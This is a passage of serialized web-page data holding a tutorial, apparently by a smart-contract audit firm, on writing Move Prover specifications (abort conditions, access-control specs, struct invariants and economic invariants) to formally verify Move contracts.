compare",{"type":23,"tag":314,"props":11491,"children":11492},{"style":338},[11493],{"type":28,"value":341},{"type":23,"tag":314,"props":11495,"children":11496},{"style":354},[11497],{"type":28,"value":1833},{"type":23,"tag":314,"props":11499,"children":11500},{"style":360},[11501],{"type":28,"value":11502},"result_11",{"type":23,"tag":314,"props":11504,"children":11505},{"style":338},[11506],{"type":28,"value":778},{"type":23,"tag":314,"props":11508,"children":11509},{"style":354},[11510],{"type":28,"value":1833},{"type":23,"tag":314,"props":11512,"children":11513},{"style":360},[11514],{"type":28,"value":11515},"result_22",{"type":23,"tag":314,"props":11517,"children":11518},{"style":338},[11519],{"type":28,"value":1025},{"type":23,"tag":314,"props":11521,"children":11522},{"class":316,"line":1216},[11523,11528,11533,11537,11541,11546,11550,11555],{"type":23,"tag":314,"props":11524,"children":11525},{"style":2284},[11526],{"type":28,"value":11527}," if",{"type":23,"tag":314,"props":11529,"children":11530},{"style":338},[11531],{"type":28,"value":11532}," ( ",{"type":23,"tag":314,"props":11534,"children":11535},{"style":360},[11536],{"type":28,"value":7180},{"type":23,"tag":314,"props":11538,"children":11539},{"style":354},[11540],{"type":28,"value":2537},{"type":23,"tag":314,"props":11542,"children":11543},{"style":338},[11544],{"type":28,"value":11545}," EQUAL ) ",{"type":23,"tag":314,"props":11547,"children":11548},{"style":321},[11549],{"type":28,"value":1481},{"type":23,"tag":314,"props":11551,"children":11552},{"style":2284},[11553],{"type":28,"value":11554}," else",{"type":23,"tag":314,"props":11556,"children":11557},{"style":321},[11558],{"type":28,"value":11559}," false\n",{"type":23,"tag":314,"props":11561,"children":11562},{"class":316,"line":1301},[11563],{"type":23,"tag":314,"props":11564,"children":11565},{"style":338},[11566],{"type":28,"value":386},{"type":23,"tag":24,"props":11568,"children":11569},{},[11570],{"type":28,"value":11571},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":304,"props":11573,"children":11575},{"code":11574,"language":2233,"meta":7,"className":2234,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[11576],{"type":23,"tag":94,"props":11577,"children":11578},{"__ignoreMap":7},[11579,11594,11698,11722],{"type":23,"tag":314,"props":11580,"children":11581},{"class":316,"line":317},[11582,11586,11590],{"type":23,"tag":314,"props":11583,"children":11584},{"style":360},[11585],{"type":28,"value":7529},{"type":23,"tag":314,"props":11587,"children":11588},{"style":360},[11589],{"type":28,"value":11237},{"type":23,"tag":314,"props":11591,"children":11592},{"style":338},[11593],{"type":28,"value":1449},{"type":23,"tag":314,"props":11595,"children":11596},{"class":316,"line":370},[11597,11601,11605,11610,11614,11618,11622,11626,11630,11634,11638,11642,11646,11650,11654,11658,11662,11666,11670,11674,11678,11682,11686,11690,11694],{"type":23,"tag":314,"props":11598,"children":11599},{"style":360},[11600],{"type":28,"value":9150},{"type":23,"tag":314,"props":11602,"children":11603},{"style":338},[11604],{"type":28,"value":2324},{"type":23,"tag":314,"props":11606,"children":11607},{"style":332},[11608],{"type":28,"value":11609},"value_of_U256",{"type":23,"tag":314,"props":11611,"children":11612},{"style":338},[11613],{"type":28,"value":341},{"type":23,"tag":314,"props":11615,"children":11616},{"style":360},[11617],{"type":28,"value":31},{"type":23,"tag":314,"props":11619,"children":11620},{"style":338},[11621],{"type":28,"value":2343},{"type":23,"tag":314,"props":11623,"children":11624},{"style":354},[11625],{"type":28,"value":1130},{"type":23,"tag":314,"props":11627,"children":11628},{"style":332},[11629],{"type":28,"value":8952},{"type":23,"tag":314,"props":11631,"children":11632},{"style":338},[11633],{"type":28,"value":341},{"type":23,"tag":314,"props":11635,"children":11636},{"style":360},[11637],{"type":28,"value":2477},{"type":23,"tag":314,"props":11639,"children":11640},{"style":338},[11641],{"type":28,"value":8089},{"type":23,"tag":314,"props":11643,"children":11644},{"style":354},[11645],{"type":28,"value":1130},{"type":23,"tag":314,"props":11647,"children":11648},{"style":332},[11649],{"type":28,"value":8952},{"type":23,"tag":314,"props":11651,"children":11652},{"style":338},[11653],{"type":28,"value":341},{"type":23,"tag":314,"props":11655,"children":11656},{"style":360},[11657],{"type":28,"value":308},{"type":23,"tag":314,"props":11659,"children":11660},{"style":338},[11661],{"type":28,"value":2343},{"type":23,"tag":314,"props":11663,"children":11664},{"style":354},[11665],{"type":28,"value":9191},{"type":23,"tag":314,"props":11667,"children":11668},{"style":2674},[11669],{"type":28,"value":8908},{"type":23,"tag":314,"props":11671,"children":11672},{"style":354},[11673],{"type":28,"value":357},{"type":23,"tag":314,"props":11675,"children":11676},{"style":2674},[11677],{"type":28,"value":8908},{"type":23,"tag":314,"props":11679,"children":11680},{"style":354},[11681],{"type":28,"value":357},{"type":23,"tag":314,"props":11683,"children":11684},{"style":2674},[11685],{"type":28,"value":8908},{"type":23,"tag":314,"props":11687,"children":11688},{"style":354},[11689],{"type":28,"value":357},{"type":23,"tag":314,"props":11691,"children":11692},{"style":2674},[11693],{"type":28,"value":8908},{"type":23,"tag":314,"props":11695,"children":11696},{"style":338},[11697],{"type":28,"value":2278},{"type":23,"tag":314,"props":11699,"children":11700},{"class":316,"line":380},[11701,11705,11709,11713,11718],{"type":23,"tag":314,"props":11702,"children":11703},{"style":360},[11704],{"type":28,"value":9448},{"type":23,"tag":314,"props":11706,"children":11707},{"style":360},[11708],{"type":28,"value":8410},{"type":23,"tag":314,"props":11710,"children":11711},{"style":354},[11712],{"type":28,"value":2537},{"type":23,"tag":314,"props":11714,"children":11715},{"style":321},[11716],{"type":28,"value":11717}," true",{"type":23,"tag":314,"props":11719,"children":11720},{"style":338},[11721],{"type":28,"value":2278},{"type":23,"tag":314,"props":11723,"children":11724},{"class":316,"line":1091},[11725],{"type":23,"tag":314,"props":11726,"children":11727},{"style":338},[11728],{"type":28,"value":386},{"type":23,"tag":24,"props":11730,"children":11731},{},[11732],{"type":28,"value":11733},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":304,"props":11735,"children":11736},{"code":11194},[11737],{"type":23,"tag":94,"props":11738,"children":11739},{"__ignoreMap":7},[11740],{"type":28,"value":11194},{"type":23,"tag":24,"props":11742,"children":11743},{},[11744,11746,11753],{"type":28,"value":11745},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":31,"props":11747,"children":11750},{"href":11748,"rel":11749},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[35],[11751],{"type":28,"value":11752},"spec-lang.md",{"type":28,"value":11754}," in the Move Repository.",{"type":23,"tag":61,"props":11756,"children":11758},{"id":11757},"use-cases",[11759],{"type":28,"value":11760},"Use Cases",{"type":23,"tag":24,"props":11762,"children":11763},{},[11764],{"type":28,"value":11765},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":11767,"children":11768},{},[11769],{"type":28,"value":11770},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":837,"props":11772,"children":11774},{"id":11773},"error-conditions",[11775],{"type":28,"value":11776},"Error Conditions",{"type":23,"tag":24,"props":11778,"children":11779},{},[11780,11782,11788],{"type":28,"value":11781},"Taking an example from ",{"type":23,"tag":94,"props":11783,"children":11785},{"className":11784},[],[11786],{"type":28,"value":11787},"std::fixed_point32",{"type":28,"value":11789},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":304,"props":11791,"children":11793},{"code":11792,"language":2233,"meta":7,"className":2234,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[11794],{"type":23,"tag":94,"props":11795,"children":11796},{"__ignoreMap":7},[11797,11818,11838,11859,11905,11913,11976,12015],{"type":23,"tag":314,"props":11798,"children":11799},{"class":316,"line":317},[11800,11804,11809,11814],{"type":23,"tag":314,"props":11801,"children":11802},{"style":360},[11803],{"type":28,"value":8180},{"type":23,"tag":314,"props":11805,"children":11806},{"style":360},[11807],{"type":28,"value":11808}," schema",{"type":23,"tag":314,"props":11810,"children":11811},{"style":2674},[11812],{"type":28,"value":11813}," MultiplyAbortsIf",{"type":23,"tag":314,"props":11815,"children":11816},{"style":338},[11817],{"type":28,"value":1449},{"type":23,"tag":314,"props":11819,"children":11820},{"class":316,"line":370},[11821,11826,11830,11834],{"type":23,"tag":314,"props":11822,"children":11823},{"style":360},[11824],{"type":28,"value":11825}," val",{"type":23,"tag":314,"props":11827,"children":11828},{"style":354},[11829],{"type":28,"value":3746},{"type":23,"tag":314,"props":11831,"children":11832},{"style":360},[11833],{"type":28,"value":8981},{"type":23,"tag":314,"props":11835,"children":11836},{"style":338},[11837],{"type":28,"value":2278},{"type":23,"tag":314,"props":11839,"children":11840},{"class":316,"line":380},[11841,11846,11850,11855],{"type":23,"tag":314,"props":11842,"children":11843},{"style":360},[11844],{"type":28,"value":11845}," multiplier",{"type":23,"tag":314,"props":11847,"children":11848},{"style":354},[11849],{"type":28,"value":3746},{"type":23,"tag":314,"props":11851,"children":11852},{"style":2674},[11853],{"type":28,"value":11854}," FixedPoint32",{"type":23,"tag":314,"props":11856,"children":11857},{"style":338},[11858],{"type":28,"value":2278},{"type":23,"tag":314,"props":11860,"children":11861},{"class":316,"line":1091},[11862,11867,11872,11876,11881,11885,11890,11895,11900],{"type":23,"tag":314,"props":11863,"children":11864},{"style":360},[11865],{"type":28,"value":11866}," aborts_if",{"type":23,"tag":314,"props":11868,"children":11869},{"style":332},[11870],{"type":28,"value":11871}," spec_multiply_u64",{"type":23,"tag":314,"props":11873,"children":11874},{"style":338},[11875],{"type":28,"value":341},{"type":23,"tag":314,"props":11877,"children":11878},{"style":360},[11879],{"type":28,"value":11880},"val",{"type":23,"tag":314,"props":11882,"children":11883},{"style":338},[11884],{"type":28,"value":778},{"type":23,"tag":314,"props":11886,"children":11887},{"style":360},[11888],{"type":28,"value":11889},"multiplier",{"type":23,"tag":314,"props":11891,"children":11892},{"style":338},[11893],{"type":28,"value":11894},") > MAX_U64 ",{"type":23,"tag":314,"props":11896,"children":11897},{"style":360},[11898],{"type":28,"value":11899},"with",{"type":23,"tag":314,"props":11901,"children":11902},{"style":338},[11903],{"type":28,"value":11904}," EMULTIPLICATION;\n",{"type":23,"tag":314,"props":11906,"children":11907},{"class":316,"line":1141},[11908],{"type":23,"tag":314,"props":11909,"children":11910},{"style":338},[11911],{"type":28,"value":11912}," }\n",{"type":23,"tag":314,"props":11914,"children":11915},{"class":316,"line":1173},[11916,11920,11924,11928,11932,11936,11940,11944,11948,11952,11956,11960,11964,11968,11972],{"type":23,"tag":314,"props":11917,"children":11918},{"style":360},[11919],{"type":28,"value":8180},{"type":23,"tag":314,"props":11921,"children":11922},{"style":360},[11923],{"type":28,"value":5462},{"type":23,"tag":314,"props":11925,"children":11926},{"style":332},[11927],{"type":28,"value":11871},{"type":23,"tag":314,"props":11929,"children":11930},{"style":338},[11931],{"type":28,"value":341},{"type":23,"tag":314,"props":11933,"children":11934},{"style":360},[11935],{"type":28,"value":11880},{"type":23,"tag":314,"props":11937,"children":11938},{"style":354},[11939],{"type":28,"value":3746},{"type":23,"tag":314,"props":11941,"children":11942},{"style":360},[11943],{"type":28,"value":8981},{"type":23,"tag":314,"props":11945,"children":11946},{"style":338},[11947],{"type":28,"value":778},{"type":23,"tag":314,"props":11949,"children":11950},{"style":360},[11951],{"type":28,"value":11889},{"type":23,"tag":314,"props":11953,"children":11954},{"style":354},[11955],{"type":28,"value":3746},{"type":23,"tag":314,"props":11957,"children":11958},{"style":2674},[11959],{"type":28,"value":11854},{"type":23,"tag":314,"props":11961,"children":11962},{"style":338},[11963],{"type":28,"value":431},{"type":23,"tag":314,"props":11965,"children":11966},{"style":354},[11967],{"type":28,"value":3746},{"type":23,"tag":314,"props":11969,"children":11970},{"style":360},[11971],{"type":28,"value":8981},{"type":23,"tag":314,"props":11973,"children":11974},{"style":338},[11975],{"type":28,"value":1449},{"type":23,"tag":314,"props":11977,"children":11978},{"class":316,"line":1208},[11979,11983,11987,11991,11996,12000,12005,12010],{"type":23,"tag":314,"props":11980,"children":11981},{"style":338},[11982],{"type":28,"value":7962},{"type":23,"tag":314,"props":11984,"children":11985},{"style":360},[11986],{"type":28,"value":11880},{"type":23,"tag":314,"props":11988,"children":11989},{"style":354},[11990],{"type":28,"value":357},{"type":23,"tag":314,"props":11992,"children":11993},{"style":360},[11994],{"type":28,"value":11995}," multiplier",{"type":23,"tag":314,"props":11997,"children":11998},{"style":354},[11999],{"type":28,"value":282},{"type":23,"tag":314,"props":12001,"children":12002},{"style":338},[12003],{"type":28,"value":12004},"value) ",{"type":23,"tag":314,"props":12006,"children":12007},{"style":354},[12008],{"type":28,"value":12009},">>",{"type":23,"tag":314,"props":12011,"children":12012},{"style":1054},[12013],{"type":28,"value":12014}," 32\n",{"type":23,"tag":314,"props":12016,"children":12017},{"class":316,"line":1216},[12018],{"type":23,"tag":314,"props":12019,"children":12020},{"style":338},[12021],{"type":28,"value":11912},{"type":23,"tag":837,"props":12023,"children":12025},{"id":12024},"access-control-policies",[12026],{"type":28,"value":12027},"Access Control Policies",{"type":23,"tag":24,"props":12029,"children":12030},{},[12031],{"type":28,"value":12032},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":12034,"children":12035},{},[12036,12038,12044,12046,12051],{"type":28,"value":12037},"For example, in ",{"type":23,"tag":94,"props":12039,"children":12041},{"className":12040},[],[12042],{"type":28,"value":12043},"std::offer",{"type":28,"value":12045}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":186,"props":12047,"children":12048},{},[12049],{"type":28,"value":12050},"or",{"type":28,"value":12052}," the recipient is now allowed.",{"type":23,"tag":304,"props":12054,"children":12056},{"code":12055,"language":2233,"meta":7,"className":2234,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[12057],{"type":23,"tag":94,"props":12058,"children":12059},{"__ignoreMap":7},[12060,12077,12085,12093,12101,12148,12206,12249,12315],{"type":23,"tag":314,"props":12061,"children":12062},{"class":316,"line":317},[12063,12068,12073],{"type":23,"tag":314,"props":12064,"children":12065},{"style":360},[12066],{"type":28,"value":12067}," spec",{"type":23,"tag":314,"props":12069,"children":12070},{"style":360},[12071],{"type":28,"value":12072}," redeem",{"type":23,"tag":314,"props":12074,"children":12075},{"style":338},[12076],{"type":28,"value":1449},{"type":23,"tag":314,"props":12078,"children":12079},{"class":316,"line":370},[12080],{"type":23,"tag":314,"props":12081,"children":12082},{"style":374},[12083],{"type":28,"value":12084}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":314,"props":12086,"children":12087},{"class":316,"line":380},[12088],{"type":23,"tag":314,"props":12089,"children":12090},{"style":374},[12091],{"type":28,"value":12092}," /// cannot redeem the offer.\n",{"type":23,"tag":314,"props":12094,"children":12095},{"class":316,"line":1091},[12096],{"type":23,"tag":314,"props":12097,"children":12098},{"style":374},[12099],{"type":28,"value":12100}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":314,"props":12102,"children":12103},{"class":316,"line":1141},[12104,12108,12113,12117,12121,12126,12130,12135,12139,12144],{"type":23,"tag":314,"props":12105,"children":12106},{"style":360},[12107],{"type":28,"value":8304},{"type":23,"tag":314,"props":12109,"children":12110},{"style":354},[12111],{"type":28,"value":12112}," !",{"type":23,"tag":314,"props":12114,"children":12115},{"style":360},[12116],{"type":28,"value":5960},{"type":23,"tag":314,"props":12118,"children":12119},{"style":338},[12120],{"type":28,"value":5060},{"type":23,"tag":314,"props":12122,"children":12123},{"style":2674},[12124],{"type":28,"value":12125},"Offer",{"type":23,"tag":314,"props":12127,"children":12128},{"style":338},[12129],{"type":28,"value":5060},{"type":23,"tag":314,"props":12131,"children":12132},{"style":2674},[12133],{"type":28,"value":12134},"Offered",{"type":23,"tag":314,"props":12136,"children":12137},{"style":338},[12138],{"type":28,"value":5982},{"type":23,"tag":314,"props":12140,"children":12141},{"style":360},[12142],{"type":28,"value":12143},"offer_address",{"type":23,"tag":314,"props":12145,"children":12146},{"style":338},[12147],{"type":28,"value":1025},{"type":23,"tag":314,"props":12149,"children":12150},{"class":316,"line":1173},[12151,12155,12159,12164,12168,12172,12176,12180,12185,12189,12193,12197,12202],{"type":23,"tag":314,"props":12152,"children":12153},{"style":360},[12154],{"type":28,"value":8304},{"type":23,"tag":314,"props":12156,"children":12157},{"style":354},[12158],{"type":28,"value":12112},{"type":23,"tag":314,"props":12160,"children":12161},{"style":360},[12162],{"type":28,"value":12163},"is_allowed_recipient",{"type":23,"tag":314,"props":12165,"children":12166},{"style":338},[12167],{"type":28,"value":5060},{"type":23,"tag":314,"props":12169,"children":12170},{"style":2674},[12171],{"type":28,"value":12134},{"type":23,"tag":314,"props":12173,"children":12174},{"style":338},[12175],{"type":28,"value":6866},{"type":23,"tag":314,"props":12177,"children":12178},{"style":360},[12179],{"type":28,"value":12143},{"type":23,"tag":314,"props":12181,"children":12182},{"style":338},[12183],{"type":28,"value":12184},", signer",{"type":23,"tag":314,"props":12186,"children":12187},{"style":354},[12188],{"type":28,"value":2737},{"type":23,"tag":314,"props":12190,"children":12191},{"style":332},[12192],{"type":28,"value":6464},{"type":23,"tag":314,"props":12194,"children":12195},{"style":338},[12196],{"type":28,"value":341},{"type":23,"tag":314,"props":12198,"children":12199},{"style":360},[12200],{"type":28,"value":12201},"account",{"type":23,"tag":314,"props":12203,"children":12204},{"style":338},[12205],{"type":28,"value":6478},{"type":23,"tag":314,"props":12207,"children":12208},{"class":316,"line":1208},[12209,12213,12217,12221,12225,12229,12233,12237,12241,12245],{"type":23,"tag":314,"props":12210,"children":12211},{"style":360},[12212],{"type":28,"value":7441},{"type":23,"tag":314,"props":12214,"children":12215},{"style":354},[12216],{"type":28,"value":12112},{"type":23,"tag":314,"props":12218,"children":12219},{"style":360},[12220],{"type":28,"value":5960},{"type":23,"tag":314,"props":12222,"children":12223},{"style":338},[12224],{"type":28,"value":5060},{"type":23,"tag":314,"props":12226,"children":12227},{"style":2674},[12228],{"type":28,"value":12125},{"type":23,"tag":314,"props":12230,"children":12231},{"style":338},[12232],{"type":28,"value":5060},{"type":23,"tag":314,"props":12234,"children":12235},{"style":2674},[12236],{"type":28,"value":12134},{"type":23,"tag":314,"props":12238,"children":12239},{"style":338},[12240],{"type":28,"value":5982},{"type":23,"tag":314,"props":12242,"children":12243},{"style":360},[12244],{"type":28,"value":12143},{"type":23,"tag":314,"props":12246,"children":12247},{"style":338},[12248],{"type":28,"value":1025},{"type":23,"tag":314,"props":12250,"children":12251},{"class":316,"line":1216},[12252,12256,12260,12264,12269,12273,12278,12282,12286,12290,12294,12298,12302,12306,12310],{"type":23,"tag":314,"props":12253,"children":12254},{"style":360},[12255],{"type":28,"value":7441},{"type":23,"tag":314,"props":12257,"children":12258},{"style":360},[12259],{"type":28,"value":8410},{"type":23,"tag":314,"props":12261,"children":12262},{"style":354},[12263],{"type":28,"value":2537},{"type":23,"tag":314,"props":12265,"children":12266},{"style":332},[12267],{"type":28,"value":12268}," old",{"type":23,"tag":314,"props":12270,"children":12271},{"style":338},[12272],{"type":28,"value":341},{"type":23,"tag":314,"props":12274,"children":12275},{"style":360},[12276],{"type":28,"value":12277},"global",{"type":23,"tag":314,"props":12279,"children":12280},{"style":338},[12281],{"type":28,"value":5060},{"type":23,"tag":314,"props":12283,"children":12284},{"style":2674},[12285],{"type":28,"value":12125},{"type":23,"tag":314,"props":12287,"children":12288},{"style":338},[12289],{"type":28,"value":5060},{"type":23,"tag":314,"props":12291,"children":12292},{"style":2674},[12293],{"type":28,"value":12134},{"type":23,"tag":314,"props":12295,"children":12296},{"style":338},[12297],{"type":28,"value":5982},{"type":23,"tag":314,"props":12299,"children":12300},{"style":360},[12301],{"type":28,"value":12143},{"type":23,"tag":314,"props":12303,"children":12304},{"style":338},[12305],{"type":28,"value":431},{"type":23,"tag":314,"props":12307,"children":12308},{"style":354},[12309],{"type":28,"value":282},{"type":23,"tag":314,"props":12311,"children":12312},{"style":338},[12313],{"type":28,"value":12314},"offered);\n",{"type":23,"tag":314,"props":12316,"children":12317},{"class":316,"line":1301},[12318],{"type":23,"tag":314,"props":12319,"children":12320},{"style":338},[12321],{"type":28,"value":2610},{"type":23,"tag":24,"props":12323,"children":12324},{},[12325],{"type":28,"value":12326},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":837,"props":12328,"children":12330},{"id":12329},"complex-mathematical-formulae",[12331],{"type":28,"value":12332},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":12334,"children":12335},{},[12336,12338,12343],{"type":28,"value":12337},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":186,"props":12339,"children":12340},{},[12341],{"type":28,"value":12342},"always",{"type":28,"value":12344}," the output.",{"type":23,"tag":24,"props":12346,"children":12347},{},[12348],{"type":28,"value":12349},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":12351,"children":12352},{},[12353,12355,12362],{"type":28,"value":12354},"For example, in our work with ",{"type":23,"tag":31,"props":12356,"children":12359},{"href":12357,"rel":12358},"https://laminar.markets/",[35],[12360],{"type":28,"value":12361},"Laminar Markets",{"type":28,"value":12363},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":837,"props":12365,"children":12367},{"id":12366},"data-invariants",[12368],{"type":28,"value":12369},"Data Invariants",{"type":23,"tag":24,"props":12371,"children":12372},{},[12373,12375,12381,12382,12388,12390,12396,12398,12404],{"type":28,"value":12374},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":94,"props":12376,"children":12378},{"className":12377},[],[12379],{"type":28,"value":12380},"variables",{"type":28,"value":515},{"type":23,"tag":94,"props":12383,"children":12385},{"className":12384},[],[12386],{"type":28,"value":12387},"resources",{"type":28,"value":12389}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":94,"props":12391,"children":12393},{"className":12392},[],[12394],{"type":28,"value":12395},"index",{"type":28,"value":12397}," is never greater than 4 using a ",{"type":23,"tag":94,"props":12399,"children":12401},{"className":12400},[],[12402],{"type":28,"value":12403},"struct invariant",{"type":28,"value":282},{"type":23,"tag":304,"props":12406,"children":12408},{"code":12407,"language":2233,"meta":7,"className":2234,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[12409],{"type":23,"tag":94,"props":12410,"children":12411},{"__ignoreMap":7},[12412,12428,12445,12452,12459,12474,12498],{"type":23,"tag":314,"props":12413,"children":12414},{"class":316,"line":317},[12415,12419,12424],{"type":23,"tag":314,"props":12416,"children":12417},{"style":321},[12418],{"type":28,"value":8651},{"type":23,"tag":314,"props":12420,"children":12421},{"style":2674},[12422],{"type":28,"value":12423}," Type",{"type":23,"tag":314,"props":12425,"children":12426},{"style":338},[12427],{"type":28,"value":1449},{"type":23,"tag":314,"props":12429,"children":12430},{"class":316,"line":370},[12431,12436,12440],{"type":23,"tag":314,"props":12432,"children":12433},{"style":360},[12434],{"type":28,"value":12435}," index",{"type":23,"tag":314,"props":12437,"children":12438},{"style":354},[12439],{"type":28,"value":3746},{"type":23,"tag":314,"props":12441,"children":12442},{"style":2674},[12443],{"type":28,"value":12444}," u64\n",{"type":23,"tag":314,"props":12446,"children":12447},{"class":316,"line":380},[12448],{"type":23,"tag":314,"props":12449,"children":12450},{"style":338},[12451],{"type":28,"value":386},{"type":23,"tag":314,"props":12453,"children":12454},{"class":316,"line":1091},[12455],{"type":23,"tag":314,"props":12456,"children":12457},{"emptyLinePlaceholder":18},[12458],{"type":28,"value":1088},{"type":23,"tag":314,"props":12460,"children":12461},{"class":316,"line":1141},[12462,12466,12470],{"type":23,"tag":314,"props":12463,"children":12464},{"style":360},[12465],{"type":28,"value":7529},{"type":23,"tag":314,"props":12467,"children":12468},{"style":2674},[12469],{"type":28,"value":12423},{"type":23,"tag":314,"props":12471,"children":12472},{"style":338},[12473],{"type":28,"value":1449},{"type":23,"tag":314,"props":12475,"children":12476},{"class":316,"line":1173},[12477,12481,12486,12490,12494],{"type":23,"tag":314,"props":12478,"children":12479},{"style":360},[12480],{"type":28,"value":7546},{"type":23,"tag":314,"props":12482,"children":12483},{"style":360},[12484],{"type":28,"value":12485}," index",{"type":23,"tag":314,"props":12487,"children":12488},{"style":354},[12489],{"type":28,"value":7971},{"type":23,"tag":314,"props":12491,"children":12492},{"style":1054},[12493],{"type":28,"value":1057},{"type":23,"tag":314,"props":12495,"children":12496},{"style":338},[12497],{"type":28,"value":2278},{"type":23,"tag":314,"props":12499,"children":12500},{"class":316,"line":1208},[12501],{"type":23,"tag":314,"props":12502,"children":12503},{"style":338},[12504],{"type":28,"value":386},{"type":23,"tag":24,"props":12506,"children":12507},{},[12508,12510,12517,12518,12524],{"type":28,"value":12509},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":31,"props":12511,"children":12514},{"href":12512,"rel":12513},"https://layerzero.network/",[35],[12515],{"type":28,"value":12516},"LayerZero",{"type":28,"value":557},{"type":23,"tag":31,"props":12519,"children":12522},{"href":12520,"rel":12521},"http://ariesmarkets.xyz/",[35],[12523],{"type":28,"value":6046},{"type":28,"value":12525},", but the details are left as an exercise to the reader.",{"type":23,"tag":837,"props":12527,"children":12529},{"id":12528},"economic-invariants",[12530],{"type":28,"value":12531},"Economic Invariants.",{"type":23,"tag":24,"props":12533,"children":12534},{},[12535],{"type":28,"value":12536},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":12538,"children":12539},{},[12540],{"type":28,"value":12541},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":304,"props":12543,"children":12544},{"code":7222,"language":2233,"meta":7,"className":2234,"style":7},[12545],{"type":23,"tag":94,"props":12546,"children":12547},{"__ignoreMap":7},[12548,12555,12638,12677,12696,12703,12718,12741,12764,12787],{"type":23,"tag":314,"props":12549,"children":12550},{"class":316,"line":317},[12551],{"type":23,"tag":314,"props":12552,"children":12553},{"style":374},[12554],{"type":28,"value":7234},{"type":23,"tag":314,"props":12556,"children":12557},{"class":316,"line":370},[12558,12562,12566,12570,12574,12578,12582,12586,12590,12594,12598,12602,12606,12610,12614,12618,12622,12626,12630,12634],{"type":23,"tag":314,"props":12559,"children":12560},{"style":360},[12561],{"type":28,"value":5825},{"type":23,"tag":314,"props":12563,"children":12564},{"style":332},[12565],{"type":28,"value":7246},{"type":23,"tag":314,"props":12567,"children":12568},{"style":338},[12569],{"type":28,"value":341},{"type":23,"tag":314,"props":12571,"children":12572},{"style":360},[12573],{"type":28,"value":7255},{"type":23,"tag":314,"props":12575,"children":12576},{"style":354},[12577],{"type":28,"value":3746},{"type":23,"tag":314,"props":12579,"children":12580},{"style":2674},[12581],{"type":28,"value":5114},{"type":23,"tag":314,"props":12583,"children":12584},{"style":338},[12585],{"type":28,"value":778},{"type":23,"tag":314,"props":12587,"children":12588},{"style":360},[12589],{"type":28,"value":7272},{"type":23,"tag":314,"props":12591,"children":12592},{"style":354},[12593],{"type":28,"value":3746},{"type":23,"tag":314,"props":12595,"children":12596},{"style":2674},[12597],{"type":28,"value":5114},{"type":23,"tag":314,"props":12599,"children":12600},{"style":338},[12601],{"type":28,"value":431},{"type":23,"tag":314,"props":12603,"children":12604},{"style":354},[12605],{"type":28,"value":3746},{"type":23,"tag":314,"props":12607,"children":12608},{"style":338},[12609],{"type":28,"value":2324},{"type":23,"tag":314,"props":12611,"children":12612},{"style":2674},[12613],{"type":28,"value":7297},{"type":23,"tag":314,"props":12615,"children":12616},{"style":338},[12617],{"type":28,"value":778},{"type":23,"tag":314,"props":12619,"children":12620},{"style":2674},[12621],{"type":28,"value":7297},{"type":23,"tag":314,"props":12623,"children":12624},{"style":338},[12625],{"type":28,"value":2343},{"type":23,"tag":314,"props":12627,"children":12628},{"style":360},[12629],{"type":28,"value":5599},{"type":23,"tag":314,"props":12631,"children":12632},{"style":2674},[12633],{"type":28,"value":7318},{"type":23,"tag":314,"props":12635,"children":12636},{"style":338},[12637],{"type":28,"value":1449},{"type":23,"tag":314,"props":12639,"children":12640},{"class":316,"line":380},[12641,12645,12649,12653,12657,12661,12665,12669,12673],{"type":23,"tag":314,"props":12642,"children":12643},{"style":321},[12644],{"type":28,"value":7330},{"type":23,"tag":314,"props":12646,"children":12647},{"style":360},[12648],{"type":28,"value":7335},{"type":23,"tag":314,"props":12650,"children":12651},{"style":354},[12652],{"type":28,"value":1237},{"type":23,"tag":314,"props":12654,"children":12655},{"style":332},[12656],{"type":28,"value":7344},{"type":23,"tag":314,"props":12658,"children":12659},{"style":338},[12660],{"type":28,"value":341},{"type":23,"tag":314,"props":12662,"children":12663},{"style":360},[12664],{"type":28,"value":7255},{"type":23,"tag":314,"props":12666,"children":12667},{"style":338},[12668],{"type":28,"value":778},{"type":23,"tag":314,"props":12670,"children":12671},{"style":360},[12672],{"type":28,"value":7272},{"type":23,"tag":314